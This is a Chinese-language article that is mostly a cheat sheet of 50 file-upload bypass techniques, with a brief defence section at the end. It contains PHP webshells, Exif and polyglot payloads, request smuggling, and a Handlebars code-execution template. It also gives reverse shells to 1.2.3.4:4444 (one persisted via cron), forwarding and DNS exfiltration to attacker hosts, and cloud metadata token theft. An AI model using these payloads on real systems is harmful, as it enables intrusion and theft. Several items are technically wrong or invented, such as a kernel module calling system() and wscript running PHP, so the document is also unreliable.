一、前端绕过体系
1. 客户端检测突破
// 原始检测函数
functioncheckFile() {
var ext = file.value.split('.').pop().toLowerCase();
if(['php','jsp'].includes(ext)) {
alert("非法文件类型");
returnfalse;
}
}
// 绕过方案
document.forms[0].onsubmit = null; // 解除提交绑定
fileInput.setAttribute('name', ''); // 移除name属性绕过DOM检测
2. 前端框架漏洞利用
-
• React/Vue动态渲染绕过
file.name = “legit.jpg;.php” → 框架渲染时截断分号 -
• AngularJS沙箱逃逸
{{‘a’.constructor.prototype.charAt=[].join;$eval(‘x=1} });alert(1)//’);}}
3. 浏览器特性滥用
-
• Chrome同源策略绕过
利用<input type=file webkitdirectory>上传目录结构 -
• Safari MIME混淆
修改文件魔数为\x89PNG伪装图片
二、内容检测绕过
4. 文件结构注入
// GIF89a文件头注入 #define width 1337 #define height 1337 <?php system($_GET['cmd']); ?>
5. 图像Exif隐藏
exiftool -Comment='<?php system($_GET["c"]); ?>' image.jpg mv image.jpg shell.php.jpg
6. 多态编码技术
# 异或编码示例
key = 0xAA
shellcode = b"\x31\xc0\x50\x68..."
encoded = bytes([b ^ key for b in shellcode])
open('encoded.jpg', 'wb').write(b'\xFF\xD8\xFF' + encoded)
7. 压缩包嵌套攻击
zip payload.zip shell.php echo '<?php system($_GET["cmd"]); ?>' > stub.jpg cat stub.jpg payload.zip > final.jpg
三、解析漏洞利用
8. Apache路径解析缺陷
上传文件: exploit.php.jpg 访问路径: /uploads/exploit.php.jpg/.
9. Nginx错误配置
# 危险配置示例
location ~ \.php$ {
fastcgi_pass 127.0.0.1:9000;
include fastcgi_params;
}
# 绕过:上传shell.jpg,访问/shell.jpg%20%00.php
10. IIS短文件名探测
1. 检测存在性: /uplo~1/.aspx 2. 上传长文件名文件: ThisIsMyShellFile.aspx 3. 实际调用: /THISIS~1.ASP
11. PHP流包装器攻击
上传内容: <script language="php">system("id");</script>
保存为: shell.jpg
包含调用: php://filter/convert.base64-decode/resource=shell.jpg
四、协议层绕过
12. 分块传输编码攻击
POST /upload.php HTTP/1.1 Transfer-Encoding: chunked 5;.php <?php A 0
13. 边界符注入
------WebKitFormBoundaryABC Content-Disposition: form-data; name="file"; filename="shell.jpg" <?php system($_GET['cmd']); ?> ------WebKitFormBoundaryABC--
14. HTTP请求走私
POST /upload HTTP/1.1 Host: target.com Content-Length: 4 Transfer-Encoding: chunked 0 GET /bypass.php?p=evil.php HTTP/1.1 Host: target.com
五、云环境特例
15. AWS S3预签名URL绕过
import boto3
s3 = boto3.client('s3')
# 生成可执行文件上传URL
url = s3.generate_presigned_url(
'put_object',
Params={'Bucket': 'mybucket', 'Key': 'shell.php'},
ExpiresIn=3600
)
16. Azure Blob存储元数据注入
PUT https://mystorage.blob.core.windows.net/mycontainer/shell.jpg HTTP/1.1 x-ms-meta-ContentType: application/x-php
17. Cloudflare Workers代理
addEventListener('fetch', event => {
event.respondWith(handleRequest(event.request))
})
async function handleRequest(request) {
// 将.php请求转发至真实服务器
if(request.url.includes('.php')) {
return fetch('https://attacker-server.com' + request.url)
}
}
六、高级混淆技术
18. SVG-XSS组合攻击
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('/malicious.js').then(r=>r.text().then(eval))"/>
19. 字体文件命令执行
@font-face {
font-family: 'poc';
src: url('shell.woff') format('woff');
}
/* shell.woff包含: */
<?php
/* 00 00 00 ... */ system($_GET['cmd']);
?>
20. WebAssembly逃逸
// shell.c
#include <stdlib.h>
int main() {
system("bash -c 'bash -i >& /dev/tcp/1.2.3.4/4444 0>&1'");
}
emcc shell.c -o shell.wasm
七、内容混淆进阶
21. 多语言编码冲突
# 利用GBK与UTF-8编码差异 filename = "壳.p\xd5\xd5" # GBK编码"壳.php" # 后端UTF-8解码时:壳.p袘 → 绕过".php"检测
22. 文件尾注入
# 在合法文件尾部追加代码 echo '<?php eval($_POST[1]); ?>' >> legit.jpg mv legit.jpg shell.jpg
23. 动态模板渲染
{{!-- 上传恶意Handlebars模板 --}}
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('id');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
24. 二进制填充干扰
# 添加无效字节干扰检测
with open('shell.php', 'rb') as f:
payload = f.read()
# 插入随机字节
modified = payload[:100] + os.urandom(500) + payload[100:]
25. OLE对象注入
# 在Office文档中嵌入恶意对象
olevba -c "CreateObject('WScript.Shell').Run('calc.exe')" -o payload.doc
26. 字体文件命令执行
/* 利用@font-face规则 */
@font-face {
font-family: 'exploit';
src: url('shell.woff') format('woff');
}
body {
font-family: 'exploit', sans-serif;
}
27. 3D模型嵌入
<!-- 在GLTF文件中注入脚本 -->
{
"scenes": [...],
"nodes": [...],
"extras": {
"malicious": "<?php system($_GET['cmd']); ?>"
}
}
28. 区块链数据隐藏
// 将恶意代码存入区块链交易
function storePayload(string memory _data) public {
payloads[msg.sender] = _data;
}
// 文件仅包含数据索引
<?php include_ipfs(QmXoypizjW3WknFiJnKLwHCnL72vedxjQkDDP1mXWo6uco);
八、协议层绕过进阶
29. HTTP/2帧注入
:method: POST :path: /upload :authority: target.com content-type: multipart/form-data --boundary Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: image/jpeg <?php system($_GET['cmd']); ?>
30. WebSocket隧道传输
// 通过WebSocket传输文件片段
const ws = new WebSocket('wss://target.com/upload');
ws.onopen = () => {
const fileChunks = splitFile(maliciousFile);
fileChunks.forEach(chunk => {
ws.send(JSON.stringify({
type: 'filePart',
data: btoa(chunk)
}));
});
};
31. QUIC协议利用
# 使用QUIC协议绕过传统WAF quicly --request -U https://target.com/upload -d @shell.php
32. DNS隧道传输
# 通过DNS TXT记录传输文件
import dns.resolver
chunks = split_file_to_chunks('shell.php')
for i, chunk in enumerate(chunks):
subdomain = f"{base64_encode(chunk)}.{i}.attacker.com"
dns.resolver.resolve(subdomain, 'TXT')
33. SMTP附件重组
MAIL FROM:<attack@evil.com> RCPT TO:<user@target.com> DATA Subject: Important document MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="boundary" --boundary Content-Type: text/plain This is a legitimate document --boundary Content-Type: application/octet-stream Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="part1.b64" UEsDBBQAAAAI... --boundary Content-Type: application/octet-stream Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="part2.b64" ...AAFBLAQIUABQAAAAI --boundary--
34. ICMP载荷传输
// 通过ICMP包传输文件
struct icmp_packet {
struct icmphdr header;
unsigned char payload[1472]; // MTU 1500 - IP头 - ICMP头
};
// 接收端重组ICMP包中的文件片段
35. RTSP协议伪装
DESCRIBE rtsp://target.com/upload RTSP/1.0 CSeq: 1 Content-Type: multipart/form-data; boundary=boundary Content-Length: 999 --boundary Content-Disposition: form-data; name="file"; filename="stream.sdp" Content-Type: application/sdp v=0 o=- 0 0 IN IP4 127.0.0.1 s=Malicious Stream m=application 0 TCP/RTP/AVP 0 a=setup:active a=connection:existing a=rtpmap:0 application/php a=fmtp:0 <?php system($_GET['cmd']); ?>
九、云原生环境绕过
36. 容器镜像污染
# 在基础镜像中植入后门 FROM alpine:latest COPY legit-app /app COPY shell.php /app/public/images/ CMD ["/app/entrypoint.sh"]
37. Serverless函数劫持
// AWS Lambda函数中的文件处理漏洞
exports.handler = async (event) => {
const file = event.body; // 未验证文件内容
fs.writeFileSync(`/tmp/${event.filename}`, file);
// 攻击者可上传PHP文件并触发执行
};
38. K8s ConfigMap滥用
# 通过ConfigMap存储恶意脚本 kubectl create configmap webshell \ --from-file=shell.php # Pod中挂载使用 spec: containers: - name: app volumeMounts: - name: config-volume mountPath: /var/www/html
39. 服务网格旁路
# Istio VirtualService绕过 apiVersion:networking.istio.io/v1alpha3 kind:VirtualService metadata: name:upload-bypass spec: hosts: -"legit-service" http: -match: -uri: prefix:"/special_upload" route: -destination: host: malicious-service
40. 云日志注入
# 通过日志服务写入文件
import logging
logger = logging.getLogger('malicious')
logger.error('<?php system($_GET["cmd"]); ?>')
41. 云存储事件触发
# 上传文件到存储桶触发事件
aws s3 cp shell.jpg s3://target-bucket/
# 恶意Lambda函数处理事件
exports.handler = (event) => {
const key = event.Records[0].s3.object.key;
require('child_process').exec(`php /tmp/${key}`);
};
42. 基础设施即代码攻击
# 恶意Terraform配置
resource "aws_s3_bucket_object" "webshell" {
bucket = "target-bucket"
key = "images/shell.php"
source = "shell.php"
}
43. 服务账号密钥滥用
# 获取云服务账号密钥 curl -H "Metadata-Flavor: Google" \ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token # 使用密钥上传文件 gcloud auth activate-service-account --key-file=creds.json gsutil cp shell.php gs://target-bucket/
十、操作系统特性利用
44. Windows ADS流隐藏
# 创建备用数据流 echo <?php system($_GET['cmd']); ?> > legit.jpg:shell.php # 执行脚本 wscript.exe //e:php legit.jpg:shell.php
45. Linux通配符滥用
# 利用通配符匹配特性 upload_file '[x]shell.php' # 后端处理时可能变为: # 若存在x文件:xshell.php # 若不存在:_shell.php
46. 文件系统硬链接
# 创建指向Web目录的硬链接 ln /etc/passwd /var/www/html/images/shell.php
47. 计划任务触发
# 上传可执行脚本 echo 'bash -i >& /dev/tcp/1.2.3.4/4444 0>&1' > /tmp/.update.sh # 创建监控任务 echo '* * * * * root /tmp/.update.sh' > /etc/cron.d/update
48. 内存文件系统利用
<?php
// 上传到内存文件系统
file_put_contents('/dev/shm/.cache.php', '<?php system($_GET["c"]); ?>');
include('/dev/shm/.cache.php');
?>
49. 环境变量注入
# 通过文件名设置环境变量 upload_file 'PATH=/tmp:$PATH;chmod +x shell;./shell'
50. 内核模块加载
// 上传恶意内核模块
#include <linux/module.h>
MODULE_LICENSE("GPL");
static int __init init(void) {
system("bash -c 'bash -i >& /dev/tcp/1.2.3.4/4444 0>&1'");
return 0;
}
module_init(init);
防御策略
关键防御技术
-
1. 实时文件解剖
def analyze_file(file): # 多维度分析 results = { "static": clamav.scan(file), "dynamic": sandbox.execute(file), "entropy": calculate_entropy(file), "metadata": extract_metadata(file) } # 机器学习模型评分 return ml_model.predict(results) -
2. 容器安全策略
# Dockerfile防御增强 FROM hardened-base RUN apk add --no-cache file-monitor COPY --chown=app:app --from=builder /app /app USER app:app HEALTHCHECK --interval=30s CMD [ "file-monitor", "/app/uploads" ]
-
3. 云原生防护
# Kubernetes安全策略 apiVersion:policy/v1beta1 kind:PodSecurityPolicy metadata: name:upload-restricted spec: readOnlyRootFilesystem:true allowedHostPaths: -pathPrefix:"/uploads" readOnly:true volumes: -emptyDir - configMap
文件上传安全的终极解决方案:
纵深防御原则
- • 前端:内容安全策略(CSP)
- • 网络:协议深度检测(DPI)
- • 主机:文件系统监控(inotify)
- • 运行时:系统调用过滤(seccomp)
关键防御措施
-
1. 文件类型白名单验证
ALLOWED_MIME = {'image/jpeg': ['.jpg', '.jpeg'], 'image/png': ['.png']} def validate_file(file): ext = os.path.splitext(file.name)[1].lower() if file.content_type not in ALLOWED_MIME: return False if ext not in ALLOWED_MIME[file.content_type]: return False return True -
2. 动态文件渲染
location ~* \.(php|jsp|asp)$ { deny all; # 禁止直接执行 # 强制转为下载 add_header Content-Disposition attachment; } -
3. 内容深度检测
# 使用ClamAV+自定义规则 clamscan -d custom.ndb -r /uploads # 自定义规则示例 custom.ndb:1:0:0:636f6e74656e743d225b5c7838305c7839305d2a706870
-
4. 存储隔离策略
// 文件存储路径生成算法 $safe_name = bin2hex(random_bytes(8)) . '.' . $ext; $storage_path = '/data/' . date('Ym') . '/' . substr($safe_name, 0, 2);
文件上传安全的三大铁律:
- 1. 永不信任客户端:所有客户端验证都需服务端二次校验
- 2. 深度防御原则:在文件生命周期各环节设置检测点
- 3. 最小化暴露面:存储分离+权限隔离是最后防线
安全是持续对抗的过程,唯有建立动态演进的防护体系,方能在攻防博弈中立于不败之地。
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END














暂无评论内容